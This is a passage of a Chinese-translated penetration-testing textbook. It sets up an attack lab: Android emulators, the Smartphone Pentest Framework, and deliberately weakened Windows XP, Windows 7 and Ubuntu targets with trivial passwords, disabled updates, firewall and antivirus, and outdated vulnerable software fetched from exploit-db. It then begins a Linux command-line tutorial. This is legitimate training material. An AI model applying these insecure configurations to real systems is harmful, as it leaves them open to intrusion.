我们将基于 Android 4.3、2.2 和 2.1 创建三个 Android 模拟器，如图 1-16 所示。使用图中显示的每个模拟器的值，但将目标的值设置为你希望构建的 Android 版本（Android 4.3 的 Google API 版本 18，2.2 的 Google API 版本 8，和 2.1 的 Google API 版本 7）。在 AVD 名称字段中填入一个描述性值。添加一个较小的 SD 卡值（100MB 应该足够），以便你可以将文件下载到 Android 模拟器中。将设备设置为 Nexus 4，并将皮肤设置为 具有动态硬件控制的皮肤。其余选项保持默认值。

图 1-16. 创建 Android 模拟器

一旦你构建了所有三个模拟器，你的 AVD 管理器应该如下所示图 1-17（设备名称当然可能不同）。

图 1-17. 在 Android 虚拟设备管理器中创建的 Android 模拟器

要启动模拟器，选中它并点击 Start。然后在弹出的窗口中点击 Launch，如图 1-18 所示。

图 1-18. 启动 Android 模拟器

模拟器第一次启动可能需要几分钟时间，但一旦启动，你应该能看到和感觉到像一个真实的 Android 设备一样的界面。图 1-19 中展示了 Android 4.3 模拟器。

图 1-19. Android 4.3 模拟器

注意

要在 Kali 中运行 Android 模拟器，你可能需要通过增加虚拟机的内存和 CPU 核心数来提高其性能。我能够在分配给 Kali 的 3GB 内存和两个 CPU 核心的情况下运行所有三个模拟器。你可以在 VMware 产品的虚拟机设置中进行这些更改。你能给 Kali 分配的资源量，当然取决于主机计算机上可用的资源。作为替代方案，除了在 Kali Linux 上运行 Android 模拟器，你还可以在主机系统或甚至本地网络中的其他系统上安装 Android 和模拟器。第二十章中的练习只要模拟器能够与 Kali 通信就可以运行。

智能手机渗透框架

接下来，下载并安装智能手机渗透框架（SPF），我们将用它进行移动攻击。使用git下载源代码。切换到已下载的Smartphone-Pentest-Framework目录，如下所示。

root@kali:~# git clone -b SPFBook https://github.com/georgiaw/Smartphone-Pentest-Framework.git
root@kali:~# cd Smartphone-Pentest-Framework

现在在 nano 文本编辑器中打开文件kaliinstall。前几行如示例 1-5 所示。注意其中提到的/root/adt-bundle-linux-x86-20131030/sdk/tools/android行。如果你的 ADT 包文件夹名称不同（由于发布了后续版本），请将该值更改为你在上一节中安装 Android ADT 的正确位置。

示例 1-5. 安装智能手机渗透框架

root@kali:~/Smartphone-Pentest-Framework# nano kaliinstall
#!/bin/sh
## Install needed packages
echo -e "$(tput setaf 1)\nInstallin serialport, dbdpg, and  expect for perl\n"; echo "$(tput sgr0)"
echo -e "$(tput setaf 1)#########################################\n"; echo "$(tput sgr0)"
echo $cwd;
#apt-get -y install libexpect-perl libdbd-pg-perl libdevice-serialport-perl;
apt-get install ant
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter android-4 -a
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter addon-google_apis-google-4 -a
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter android-14 -a
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter addon-google_apis-google-14 -a
--*snip*--

现在运行kaliinstall脚本，如下所示。

root@kali:~/Smartphone-Pentest-Framework# ./kaliinstall

这将设置 SPF，我们将在第二十章中使用它。

最后，我们需要对 SPF 的配置文件进行最后一次更改。切换到Smartphone-Pentest-Framework/frameworkconsole目录，并在 nano 中打开config文件。查找选项#LOCATION OF ANDROID SDK。如果自本文编写时以来你的 ADT 包文件夹名称发生了变化，请在以ANDROIDSDK=开头的行中相应地更改它。

root@kali:~/Smartphone-Pentest-Framework# cd frameworkconsole/
root@kali:~/Smartphone-Pentest-Framework/frameworkconsole# nano config
--*snip*--
#LOCATION OF ANDROID SDK
ANDROIDSDK = /root/adt-bundle-linux-x86-20131030/sdk
--*snip*--

目标虚拟机

我们将使用三台定制的目标机器来模拟客户端环境中常见的漏洞：Ubuntu 8.10、Windows XP SP3 和 Windows 7 SP1。

您可以在 www.nostarch.com/pentesting/ 上找到包含 Ubuntu 虚拟机的 torrent 链接。目标系统使用 7-Zip 压缩包，密码为 1stPentestBook?!，可以使用 7-Zip 程序在所有平台上打开压缩包。对于 Windows 和 Linux 版本，请访问 www.7-zip.org/download.html；对于 Mac OS，请使用 Ez7z，下载链接为 ez7z.en.softonic.com/mac/。解压后即可开始使用该压缩包。

要设置 Windows 虚拟机，您需要安装并配置 Windows XP SP3 和 32 位 Windows 7 SP1。安装介质的来源包括 TechNet 和 MSDN（Microsoft 开发者网络）等。（您应该能够在没有许可证密钥的情况下，试用 Windows 虚拟机 30 天。）

创建 Windows XP 目标

您的 Windows XP 目标应该是一个基础安装的 Windows XP SP3，并且没有额外的安全更新。（更多关于如何找到 Windows XP 复制版本的信息，请访问我的网站 www.bulbsecurity.com/。）一旦您拥有了 Windows XP SP3 的副本，下面是如何在 Microsoft Windows 或 Mac OS 上安装它。

VMware Player 在 Microsoft Windows 上

要在 VMware Player for Windows 上安装 Windows XP：

在 VMware Player 中选择 创建一个新虚拟机，并将新虚拟机向导指向 Windows XP 安装光盘或 ISO 镜像。根据您的源光盘或镜像，您可能会看到一个选项，允许您使用 Easy Install（如果您安装的是带有许可证密钥的版本），或者您可能会看到一个黄色三角形警告，“无法检测此光盘映像中的操作系统。您需要指定将安装哪个操作系统。” 在后者的情况下，直接点击 下一步。
在选择客户操作系统对话框中，在客户操作系统部分选择 Microsoft Windows，并在下拉框中选择您的 Windows XP 版本，如图 1-20 所示，然后点击 下一步。

图 1-20. 选择您的 Windows XP 版本
在下一个对话框中，输入 Bookxp XP SP3 作为虚拟机的名称，然后点击 下一步。
在指定磁盘容量对话框中，接受为您的虚拟机推荐的 40GB 硬盘大小，并勾选 将虚拟磁盘存储为一个单一文件，如图 1-21 所示，然后点击 下一步。

图 1-21. 指定磁盘容量

注意

虚拟机不会占用整个 40GB 的空间；它只会根据需要占用硬盘空间。这只是一个最大值。
在准备创建虚拟机对话框中，如图 1-22 所示，点击自定义硬件。

图 1-22. 自定义硬件
在硬件对话框中，选择网络适配器，然后在出现的网络连接字段中选择桥接：直接连接到物理网络。接下来，点击配置适配器并选择您用来连接互联网的适配器，如图 1-23 所示。然后按确定、关闭和完成。

图 1-23. 将网络适配器配置为桥接模式

现在，您应该能够启动您的 Windows XP 虚拟机。继续查看安装和激活 Windows 中的安装和激活 Windows XP 的说明。

在 Mac OS 上的 VMware Fusion

在 VMware Fusion 中，转到文件 ▸ 新建 ▸ 从磁盘或镜像导入，并将其指向 Windows XP 安装光盘或镜像，如图 1-24 所示。

按照提示创建一个全新的 Windows XP SP3 安装。

图 1-24. 创建新虚拟机

安装和激活 Windows

作为安装过程的一部分，系统会提示您输入 Windows 许可证密钥。如果您有密钥，请在此输入。如果没有，您应该能够在 30 天的试用期内使用虚拟机。要继续而不输入许可证密钥，请在提示输入密钥时点击下一步。弹出窗口将警告您建议输入许可证密钥，并询问您是否希望现在输入，如图 1-25 所示。只需点击否。

图 1-25. 许可证密钥对话框

如图 1-26 所示，系统提示时，将计算机名称设置为Bookxp。将管理员密码设置为password。

图 1-26. 设置计算机名称和管理员密码

在提示时，你可以保持日期/时间和 TCP/IP 设置为默认值。同样，保持 Windows XP 目标为工作组 WORKGROUP 的一部分，而不是将其加入域，如图 1-27 所示。

图 1-27。工作组设置

如图所示，告诉 Windows 不要自动安装安全更新，图 1-28。这一步很重要，因为我们将运行的某些漏洞依赖于缺失的 Windows 补丁。

图 1-28。关闭自动安全更新

然后，系统会提示你激活 Windows。如果你已输入许可证密钥，继续激活。如果没有，你可以选择否，每隔几天提醒我一次，如图 1-29 所示。

图 1-29。激活 Windows

现在创建用户账户georgia和secret，如图 1-30 所示。我们将在设置完成后为这些用户创建密码。

图 1-30。添加用户

当 Windows 启动时，以用户georgia身份登录，无需密码。

安装 VMware 工具

现在安装 VMware 工具，这将使你更容易使用虚拟机，例如，允许你从宿主系统将程序复制/粘贴或拖放到虚拟机中。

在 Microsoft Windows 上使用 VMware Player

在 VMware Player 中，从播放器 ▸ 管理 ▸ 安装 VMware 工具安装 VMware 工具，如图 1-31 所示。VMware 工具安装程序应该会在 Windows XP 中自动运行。

图 1-31。在 VMware Player 中安装 VMware 工具

在 Mac OS 上的 VMware Fusion

从虚拟机 ▸ 安装 VMware 工具安装 VMware 工具，如图 1-32 所示。VMware 工具安装程序应该会在 Windows XP 中自动运行。

图 1-32。在 VMware Fusion 中安装 VMware 工具

关闭 Windows 防火墙

现在从 Windows 开始菜单打开控制面板。点击安全中心 ▸ Windows 防火墙来关闭 Windows 防火墙，如图 1-33 所示。

图 1-33. 关闭 Windows 防火墙

设置用户密码

再次进入控制面板，点击“用户账户”。点击用户georgia，然后选择创建密码。将georgia的密码设置为password，如图 1-34 所示。对用户secret进行相同操作，但将secret的密码设置为Password123。

图 1-34. 设置用户密码

设置静态 IP 地址

接下来，设置一个静态 IP 地址，这样在你继续阅读本书时，网络信息就不会发生变化。但首先我们需要找出默认网关的地址。

确保你的 Windows XP 系统在 VMware 中设置为使用桥接网络。默认情况下，你的虚拟机会使用 DHCP 自动获取 IP 地址。

要查找默认网关，请通过点击开始 ▸ 运行，输入cmd并点击确定来打开 Windows 命令提示符。在命令提示符中，输入ipconfig。这将显示网络信息，包括默认网关。

C:\Documents and Settings\georgia>**ipconfig**

Windows IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : XXXXXXXX
        IP Address. . . . . . . . . . . . : 192.168.20.10
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.20.1

C:\Documents and Settings\georgia>

在我的情况下，IP 地址是 192.168.20.10，子网掩码是 255.255.255.0，默认网关是 192.168.20.1。

在控制面板中，进入网络和互联网连接，并点击屏幕底部的网络连接。
右键点击本地连接，然后选择属性。
高亮显示互联网协议（TCP/IP）并选择属性。现在输入一个静态 IP 地址，并将子网掩码和默认网关设置为与你通过ipconfig命令找到的数据匹配，如图 1-35 所示。将首选 DNS 服务器设置为你的默认网关。

现在是时候检查我们的虚拟机是否能够通信了。一旦确认设置匹配，返回到 Kali 虚拟机（如果已经关闭，请启动它），并输入ping <你 Windows XP 虚拟机的静态 IP 地址>，如图所示。

注意

我的 IP 地址是 192.168.20.10。在本书中，你应该将这个值替换为你系统的 IP 地址。

root@kali:~# ping 192.168.20.10

PING 192.168.20.10 (192.168.20.10) 56(84) bytes of data.
64 bytes from 192.168.20.10: icmp_req=1 ttl=128 time=3.06 ms
**^C**

图 1-35. 设置静态 IP 地址

输入 ctrl-C 停止ping命令。如果你看到以64 bytes from <XP 的 IP 地址> 开头的输出，如前所示，说明你的虚拟机能够通信。恭喜！你已经成功设置了虚拟机网络。

如果你看到包含Destination Host Unreachable的消息，请排查网络问题：确保虚拟机处于相同的桥接虚拟网络中，检查默认网关是否正确等。

让 XP 像 Windows 域成员一样工作

最后，我们需要修改 Windows XP 中的一个设置，使其表现得像是 Windows 域的成员，因为你的许多客户端将会是域成员。我并没有要求你在这里设置整个 Windows 域，但在后期的利用过程中，几个练习将模拟域环境。返回到你的 XP 虚拟机，并按照以下步骤操作。

选择开始 ▸ 运行，然后输入secpol.msc以打开本地安全设置面板。
展开左侧的本地策略，然后双击右侧的安全选项。
在右侧窗格中的策略列表中，双击网络访问：本地帐户的共享和安全模型，然后从下拉列表中选择经典 - 本地用户以其自身身份进行身份验证，如图 1-36 所示。

图 1-36. 更改本地安全设置，使目标像 Windows 域的成员一样工作
点击应用，然后点击确定。
关闭虚拟机中任何打开的窗口。

安装脆弱软件

在本节中，我们将会在 Windows XP 虚拟机上安装一些脆弱的软件。在后续章节中，我们将会攻击这些软件。打开你的 Windows XP 虚拟机，并在仍然以用户georgia身份登录的情况下，按照以下步骤安装此处列出的每个软件包。

Zervit 0.4

从www.exploit-db.com/exploits/12582/下载 Zervit 0.4 版本。（点击“Vulnerable App”选项下载文件。）解压下载的压缩包，双击 Zervit 程序以打开并运行它。然后在软件启动时，在控制台中输入端口号3232。如图 1-37 所示，回答Y以允许目录列表。Zervit 在你重新启动 Windows XP 后不会自动重启，所以如果重启系统，你需要手动重启它。

图 1-37. 启动 Zervit 0.4

SLMail 5.5

从www.exploit-db.com/exploits/638/下载并运行 SLMail 5.5 版本，在提示时使用默认选项。所有选项直接点击下一步，不要更改任何设置。如果你收到有关域名的警告，直接忽略它并点击确定。我们这里不需要发送任何电子邮件。

安装完 SLMail 后，重启虚拟机。然后打开开始 ▸ 所有程序 ▸ SL 产品 ▸ SLMail ▸ SLMail 配置。在用户标签页（默认）中，右键点击SLMail 配置窗口，选择新建 ▸ 用户，如图 1-38 所示。

图 1-38. 在 SLMail 中添加用户

点击新创建的用户图标，输入用户名georgia，并填写该用户的信息，如图 1-39 所示。邮箱名应为georgia，密码为password。保持默认设置，完成后点击确定。

图 1-39. 在 SLMail 中设置用户信息

3Com TFTP 2.0.1

接下来，从【http://www.exploit-db.com/exploits/3388/](http://www.exploit-db.com/exploits/3388/)下载 3Com TFTP 版本 2.0.1 的压缩文件。解压文件并将3CTftpSvcCtrl和3CTftpSvc复制到目录C:\Windows，如图 1-40 所示。

$将 3Com TFTP 复制到 C:\Windows$ 图 1-40. 将 3Com TFTP 复制到 C:\Windows

然后打开3CTftpSvcCtrl（蓝色的3图标），点击安装服务，如图 1-41 所示。

图 1-41. 安装 3Com TFTP

点击启动服务以第一次启动 3Com TFTP。从此以后，每次开机时它将自动启动。点击退出以退出。

XAMPP 1.7.2

现在，我们将从【http://www.oldapps.com/xampp.php?old_xampp=45/](http://www.oldapps.com/xampp.php?old_xampp=45/)安装 XAMPP 软件的旧版本 1.7.2。（Windows XP 上的旧版 Internet Explorer 似乎有些问题无法打开此页面。如果遇到问题，可以从主机系统下载软件并将其复制到 Windows XP 的桌面上。）

运行安装程序，并接受默认选项。当安装完成后，选择1. 启动 XAMPP 控制面板，如图 1-42 所示。

图 1-42. 启动 XAMPP 控制面板
在 XAMPP 控制面板中，安装 Apache、MySQL 和 FileZilla 服务（选中服务名称左侧的Svc复选框）。然后点击每个服务的Start按钮。你的屏幕应与图 1-43 中的界面相同。

图 1-43. 安装和启动 XAMPP 服务
点击Admin按钮，进入 XAMPP 控制面板中的 FileZilla 管理界面。管理员面板如图 1-44 所示。

图 1-44. FileZilla 管理面板
进入编辑 ▸ 用户以打开用户对话框，如图 1-45 所示。
点击对话框右侧的Add按钮。
在添加用户账户对话框中，输入georgia并按OK。

图 1-45. 添加 FTP 用户
在georgia高亮状态下，选中账户设置中的Password复选框并输入password。

点击OK。当提示你共享文件夹时，浏览到 Windows 上的georgia的Documents文件夹并选择共享，如图 1-46 所示。对于其他所有复选框，保持默认设置，如图所示。完成后点击OK并退出所有打开的窗口。

图 1-46. 通过 FTP 共享文件夹

Adobe Acrobat Reader

现在，我们将从www.oldapps.com/adobe_reader.php?old_adobe=17/下载并安装 Adobe Acrobat Reader 8.1.2 版本。按照默认提示进行安装，完成后点击Finish。（在这里，你可能需要先将文件下载到主机系统，然后将其复制到 Windows XP 的桌面上。）

War-FTP

接下来，从www.exploit-db.com/exploits/3570/下载并安装 War-FTP 1.65 版。将可执行文件从exploit-db.com下载到georgia的桌面上，并运行该可执行文件进行安装。你无需启动 FTP 服务；我们将在第十六章至第十九章讨论漏洞开发时开启它。

WinSCP

从winscp.net/下载并安装最新版本的 WinSCP。选择典型安装选项。你可以取消选择附加的插件。安装完成后点击Finish。

安装 Immunity Debugger 和 Mona

现在我们将通过安装调试器来完成 Windows XP 虚拟机的设置，调试器是一个帮助检测计算机程序错误的工具。我们将在漏洞开发章节中使用调试器。访问 Immunity Debugger 注册页面 debugger.immunityinc.com/ID_register.py。完成注册后，点击 Download 按钮，运行安装程序。

当系统询问你是否要安装 Python 时，点击 Yes。接受许可协议，并按照默认的安装提示进行操作。关闭安装程序时，Python 安装会自动运行。使用默认的安装值。

一旦安装了 Immunity Debugger 和 Python，下载 mona.py 文件，地址为 redmine.corelan.be/projects/mona/repository/raw/mona.py/。将 mona.py 复制到 C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands，如图 1-47 所示。

打开 Immunity Debugger，在窗口底部的命令提示符下，输入 !mona config -set workingfolder c:\logs\%p，如图 1-48 所示。此命令告诉 Mona 将其输出日志记录到 C:\logs<program name>，其中是 Immunity Debugger 当前正在调试的程序。

现在我们的 Windows XP 目标已设置完成，可以开始使用。

图 1-47. 安装 Mona 图 1-48. 设置 Mona 的日志

设置 Ubuntu 8.10 目标

由于 Linux 是开源的，你可以直接下载本书的 torrent 文件中的 Linux 虚拟机。解压 BookUbuntu.7zip 压缩文件，使用密码 1stPentestBook?! 解开压缩文件。在 VMware 中打开 .vmx 文件。如果系统提示虚拟机正在使用中，点击 Take Ownership，并与 Kali 一样选择 I copied it。虚拟机的用户名和密码是 georgia:password。

当你加载好 Ubuntu 虚拟机后，确保在 VMware 中将网络接口设置为桥接模式，并点击屏幕右上方的网络图标（两个计算机图标），将虚拟机连接到网络。如果有提示不要安装任何更新。与 Windows XP 一样，我们将在此系统上利用过时的软件。现在，这个虚拟机已完全设置好。（我将在第二章中向你展示如何在 Linux 中设置静态 IP 地址。）

创建 Windows 7 目标

与 Windows XP 一样，你需要通过加载镜像或 DVD 在 VMware 中安装 Windows 7 SP1 的副本。32 位 Windows 7 Professional SP1 的 30 天试用版可以正常使用，但如果你希望继续使用它，30 天后需要激活。要获取合法的 Windows 7 SP1 版本，可以尝试以下方式：

访问www.softpedia.com/get/System/OS-Enhancements/Windows-7.shtml。
访问technet.microsoft.com/en-us/evalcenter/dn407368。

注意

你的学校或工作场所可能有访问 DreamSpark 或 BizSpark 等项目的权限，这些项目可以让你访问 Windows 操作系统。你还可以查看我的网站(www.bulbsecurity.com/)，获取更多资源。

创建用户账户

安装完 Windows 7 Professional SP1 后，选择不进行安全更新，并创建用户Georgia Weidman，设置为管理员，并使用password作为密码，如图 1-49 和图 1-50 所示。

再次选择不自动更新。当提示时，将计算机的当前位置设置为工作网络。安装完成后，登录账户Georgia Weidman。保持启用 Windows 防火墙。VMware 会在安装过程中多次重启 Windows 7。

现在按照你在 Windows XP 部分中的步骤告诉 VMware 安装 VMware 工具。指示 VMware 在虚拟机中安装 VMware 工具后，如果安装程序没有自动运行，请转到“我的电脑”，并从虚拟机的 DVD 驱动器运行 VMware 工具安装程序，如图 1-51 所示。

图 1-49. 设置用户名图 1-50. 为用户 Georgia Weidman 设置密码图 1-51. 安装 VMware 工具

选择不进行自动更新

尽管我们对 Windows 7 的攻击主要依赖于第三方软件中的漏洞，而非 Windows 缺失的补丁，但我们仍然需要再次选择不进行 Windows 更新。为此，请进入开始 ▸ 控制面板 ▸ 系统和安全。然后在 Windows 更新下，点击启用或禁用自动更新。将重要更新设置为从不检查更新（不推荐），如图 1-52 所示。点击确定。

图 1-52. 取消自动更新

设置静态 IP 地址

通过选择 Start ▸ Control Panel ▸ Network and Internet ▸ Network and Sharing Center ▸ Change Adapter Settings ▸ Local Area Network 来设置静态 IP 地址。现在右键点击并选择 Properties ▸ Internet Protocol Version 4 (TCP/IPv4) ▸ Properties。按照你为 Windows XP 设置静态 IP 地址的方式（在设置静态 IP 地址中讨论），但使用不同的 Windows 7 IP 地址，如图 1-53 所示。如果询问是否将此网络配置为家庭、工作还是公共网络，选择 Work。（确保你的虚拟机网络设置已配置为使用桥接适配器。）

图 1-53. 设置静态 IP 地址

由于 Windows 防火墙已启用，Windows 7 不会响应来自我们 Kali 系统的 ping 请求。因此，我们将从 Windows 7 向 Kali 系统发送 ping 请求。启动你的 Kali Linux 虚拟机，在你的 Windows 7 虚拟机中点击 Start 按钮。然后在运行对话框中输入 cmd 打开 Windows 命令提示符。在提示符下输入以下命令。

**ping <**IP Address of Kali**>**

如果一切正常，你应该能看到 ping 请求的回复，如设置静态 IP 地址中所示。

添加第二个网络接口

现在关闭你的 Windows 7 虚拟机。我们将为 Windows 7 虚拟机添加第二个网络接口，使 Windows 7 系统能够连接到两个网络。在后期利用这个设置，我们将模拟在第二个网络上攻击其他系统。

在 Microsoft Windows 上的 VMware Player 中，选择 Player ▸ Manage ▸ Virtual Machine Settings ▸ Add，选择 Network Adapter，然后按 Next。这个适配器将是网络适配器 2。在 Mac OS 上的 VMware Fusion 中，进入 Virtual Machine Settings，选择 Add a Device，然后选择网络适配器。将这个新适配器设置为 Host Only 网络。按 OK，虚拟机应会重启。（我们不需要为网络适配器 2 设置静态 IP 地址。）当虚拟机重启后，再次打开 Virtual Machine Settings，你应该能看到列出的两个网络适配器。只要计算机启动，它们应该都已连接。

安装额外的软件

现在，在你的 Windows 7 虚拟机中安装以下软件，保持默认设置。

从 www.oldapps.com/java.php?old_java=8120/ 下载一个过时的 Java 7 Update 6 版本。
从www.oldapps.com/winamp.php?old_winamp=247/下载 Winamp 版本 5.55。 (取消更改搜索引擎等设置。)
从www.mozilla.org/下载最新版本的 Mozilla Firefox。
从windows.microsoft.com/en-us/windows/security-essentials-download/下载微软安全防护软件。 (下载最新的病毒定义，确保下载适用于你 32 位 Windows 系统的版本。不要启用自动提交样本或安装时扫描。此外，现在暂时禁用实时保护。我们将在第十二章学习如何绕过杀毒软件时启用此功能。此设置可以在“设置”选项卡下的“实时保护”中找到。取消选中启用实时保护（推荐），如图 1-54 所示。点击保存更改。)

图 1-54. 关闭实时保护

最后，安装从本书的种子中找到的BookApp自定义 Web 应用程序。(1stPentestBook?! 是该压缩包的密码。）将BookApp文件夹拖放到 Windows 7 虚拟机中。然后按照InstallApp.pdf中的说明安装 BookApp。以下是安装步骤的高层次概览。

以管理员身份运行Step1-install-iis.bat，通过右键点击.bat文件并选择以管理员身份运行。（安装完成后，你可以关闭任何仍然打开的 DOS 窗口。）
导航到SQL文件夹并运行SQLEXPRWT_x86_ENU.EXE。详细的安装说明和截图已包含在 InstallApp PDF 中。
通过运行SQLServer2008SP3-KB2546951-x86-ENU.exe安装服务包 3。当出现已知兼容性问题的警告时，点击确定以运行该程序并完成安装。选择接受所有更改。
使用 SQL Server 配置管理器启用命名管道。
返回主应用程序文件夹，以管理员身份运行Step2-Modify-FW.bat。
使用sqlxml_x86-v4.exe安装 MS SQL 的 XML 支持，文件在 SQL 文件夹中。
从主应用程序文件夹中以管理员身份运行Step3-Install-App.bat。
使用 MS SQL 管理工作室运行 SQL 文件夹中的db.sql，具体细节参见 InstallApp PDF。
最后，修改书籍应用文件夹中AuthInfo.xml文件的用户权限，给予 IIS_USERS 完全权限。

总结

我们设置了虚拟环境，下载并定制了用于攻击的 Kali Linux，配置了虚拟网络，并配置了我们的目标操作系统——Windows XP、Windows 7 和 Ubuntu。

在下一章中，我们将习惯于使用 Linux 命令行，并且我们将开始学习如何使用本书中的许多渗透测试工具和技术。

第二章. 使用 Kali Linux

在本书中，你将使用 Kali Linux 作为攻击平台。Kali 是流行的 BackTrack Linux 的继任者，它是基于 Debian 的发行版，预装并预配置了大量渗透测试工具。任何曾经尝试在大型任务前一天从零开始设置渗透测试盒子的人都知道，要让一切正常工作真的是一件很麻烦的事。Kali 预先配置好的一切可以节省很多时间和麻烦。Kali Linux 的工作方式与标准的 Debian GNU/Linux 发行版一样，只是多了很多额外的工具。

与其在 Kali 中点点鼠标，不如使用 Linux 命令行，因为真正的力量就在其中。在本章中，我们将介绍如何通过命令行执行一些常见的 Linux 任务。如果你已经是 Linux 专家，可以跳过本章，直接阅读第三章；如果不是，花些时间深入了解一下吧。

Linux 命令行

Linux 命令行如下所示：

root@kali:~#

类似于 DOS 提示符或 Mac OS 终端，Linux 命令行通过一个叫做 Bash 的命令处理器让你输入文本指令，从而控制系统。当你打开命令行时，你会看到提示符root@kali#。Root是 Linux 系统上的超级用户，拥有对 Kali 的完全控制权限。

在 Linux 中执行操作时，你需要输入命令以及相关的选项。例如，要查看 root 的主目录内容，可以输入如下面所示的命令ls。

root@kali:~# ls
Desktop

如你所见，根目录下没有太多东西，只有一个叫做Desktop的文件夹。

Linux 文件系统

在 Linux 世界里，一切皆文件：键盘、打印机、网络设备——所有的东西都可以视为文件。所有文件都可以查看、编辑、删除、创建和移动。Linux 文件系统由一系列从文件系统根目录（/）分支出来的目录组成。

要查看当前目录，可以在终端输入pwd：

root@kali:~# pwd
/root

切换目录

要切换到另一个目录，可以使用绝对路径或相对路径，输入cd directory，具体路径根据你当前的位置来决定。绝对路径是指相对于根目录（/）的文件路径。例如，要从任何地方切换到桌面，你可以输入绝对路径cd /root/Desktop来进入根用户的桌面。如果你当前所在的目录是/root（根用户的主目录），你可以使用桌面的相对路径（即相对于当前位置）输入cd Desktop，这也会把你带到桌面。

命令cd ..会让你返回到文件系统的上一级，如下所示。

root@kali:~/Desktop# cd ..
root@kali:~/# cd ../etc
root@kali:/etc#

从 root 的Desktop目录输入cd ..可以返回到 root 的主目录。从那里输入cd ../etc会让你回到文件系统的根目录，然后进入/etc目录。

学习命令：手册页

要了解更多关于命令及其选项和参数的信息，你可以通过输入man 命令来查看其文档（称为手册页或man 页）。例如，要了解更多关于ls命令的信息，可以输入man ls，如示例 2-1 所示。

示例 2-1. Linux man 页

root@kali:~# man ls

LS(1)                            User Commands                           LS(1)

NAME
       ls - list directory contents

SYNOPSIS
       ls [OPTION]... [FILE]... ❶

DESCRIPTION ❷
       List  information  about  the FILEs (the current directory by default).
       Sort entries alphabetically if none of -cftuvSUX nor --sort  is  speci-
       fied.

       Mandatory  arguments  to  long  options are mandatory for short options
       too.

       -a, --all ❸
              do not ignore entries starting with .

       -A, --almost-all
              do not list implied . and ..
--*snip*--
       -l     use a long listing format
--*snip*--

手册页提供了关于ls命令的有用信息（尽管看起来有些不太友好），包括其用法❶、描述❷和可用选项❸。

正如你在描述部分❷中看到的，ls命令默认列出当前工作目录中的所有文件，但你也可以使用ls来获取有关特定文件的信息。例如，根据手册页，你可以使用-a选项与ls一起显示所有文件，包括隐藏目录——这些目录在默认的ls列表中是不可见的——如示例 2-2 所示。

示例 2-2. 使用选项与ls

root@kali:~# ls -a
.                         .mozilla
..                        .msf4
.android                  .mysql_history
.bash_history             .nano_history
--*snip*--

如你所见，在根目录中有几个隐藏目录，它们的名称前都有一个点（.）字符。（在第八章中，我们将看到这些有时隐藏的目录如何导致系统遭到攻破。）你还可以看到条目.和..，分别表示当前目录和上级目录。

用户权限

Linux 用户账户为特定的个人或服务提供资源。用户可以通过密码登录，并被提供访问 Linux 系统上的某些资源的权限，例如写文件和浏览互联网的能力。该用户可能无法看到属于其他用户的文件，并且可以合理地保证其他用户也看不到他或她的文件。除了传统的用户账户（用户通过密码登录并访问系统）外，Linux 系统还允许软件拥有一个用户账户。该软件可以使用系统资源来完成其工作，但无法读取其他用户的私人文件。在 Linux 系统中，公认的最佳做法是以没有特权的用户账户运行日常命令，而不是以特权的 root 用户身份运行所有操作，以避免无意中损害系统或授予运行的命令和应用程序过多的权限。

添加用户

默认情况下，Kali 只提供特权的 root 账户。尽管许多安全工具需要 root 权限才能运行，但你可能希望为日常使用添加另一个没有特权的账户，以减少系统受损的潜在风险。记住，root 账户可以在 Linux 上执行任何操作，包括破坏你所有的文件。

要将一个新用户georgia添加到 Kali 系统中，使用adduser命令，如示例 2-3 所示。

示例 2-3. 添加新用户

root@kali:~# adduser georgia
Adding user `georgia' ...
Adding new group `georgia' (1000) ...
Adding new user `georgia' (1000) with group `georgia' ... ❶
Creating home directory `/home/georgia' ... ❷
Copying files from `/etc/skel' ...
Enter new UNIX password: ❸
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for georgia
Enter the new value, or press ENTER for the default
      Full Name []: **Georgia Weidman** ❹
      Room Number []:
      Work Phone []:
      Home Phone []:
      Other []:
Is the information correct? [Y/n] **Y**

如你所见，除了将用户添加到系统中外，还创建了一个名为georgia的组，新的用户被添加到此组中❶，为用户创建了一个主目录❷，系统会提示输入用户信息，例如密码❸和用户的全名❹。

将用户添加到 sudoers 文件

当你作为普通用户需要执行需要 root 权限的操作时，可以使用sudo命令，并将你想以 root 身份执行的命令与之一起输入，然后输入你的密码。为了让新创建的用户georgia能够运行特权命令，你需要将她添加到sudoers文件中，该文件指定哪些用户可以使用sudo命令。为此，可以输入adduser username sudo，如图所示。

root@kali:~# adduser georgia sudo
Adding user 'georgia' to group `sudo' ...
Adding user georgia to group sudo
Done.

切换用户和使用 sudo

要在终端会话中切换用户，比如从 root 用户切换到georgia，可以使用su命令，如示例 2-4 所示。

示例 2-4. 切换到不同的用户

root@kali:~# su georgia
georgia@kali:/root$ **adduser john**
bash: adduser: command not found ❶
georgia@kali:/root$ **sudo adduser john**
[sudo] password for georgia:
Adding user `john' ... ❷
Adding new group `john' (1002) ...
Adding new user `john' (1002) with group `john' ...
*--snip--*
georgia@kali:/root$ su
Password:
root@kali:~#

你可以使用su命令切换用户。如果你尝试运行需要比当前用户（georgia）更高权限的命令（例如adduser命令），该命令会失败（command not found）❶，因为你只能以 root 身份运行adduser命令。

幸运的是，正如之前讨论的那样，你可以使用sudo命令以 root 身份执行命令。由于georgia用户是sudo组的成员，你可以运行特权命令，并且可以看到用户john已被添加到系统中❷。

要切换回 root 用户，输入su命令，不带用户名。系统会提示你输入 root 的密码（toor）。

创建新文件或目录

要创建一个名为myfile的新空文件，请使用touch命令。

root@kali:# touch myfile

要在当前工作目录中创建一个新目录，输入mkdir directory，如图所示。

root@kali:~# mkdir mydirectory
root@kali:~# ls
 Desktop               mydirectory        myfile
root@kali:~# cd mydirectory/

使用ls确认新目录已创建，然后使用cd进入mydirectory。

复制、移动和删除文件

要复制文件，请使用cp命令，如图所示。

root@kali:/mydirectory# cp /root/myfile myfile2

语法是cp source destination。使用cp时，原始文件保持不变，并且会在指定的目标位置创建一个副本。

同样，你可以使用mv命令将文件从一个位置移动到另一个位置。语法与cp相同，但这时文件会从源位置删除。

你可以通过输入rm file来从文件系统中删除一个文件。要递归删除文件，请使用-r选项。

警告

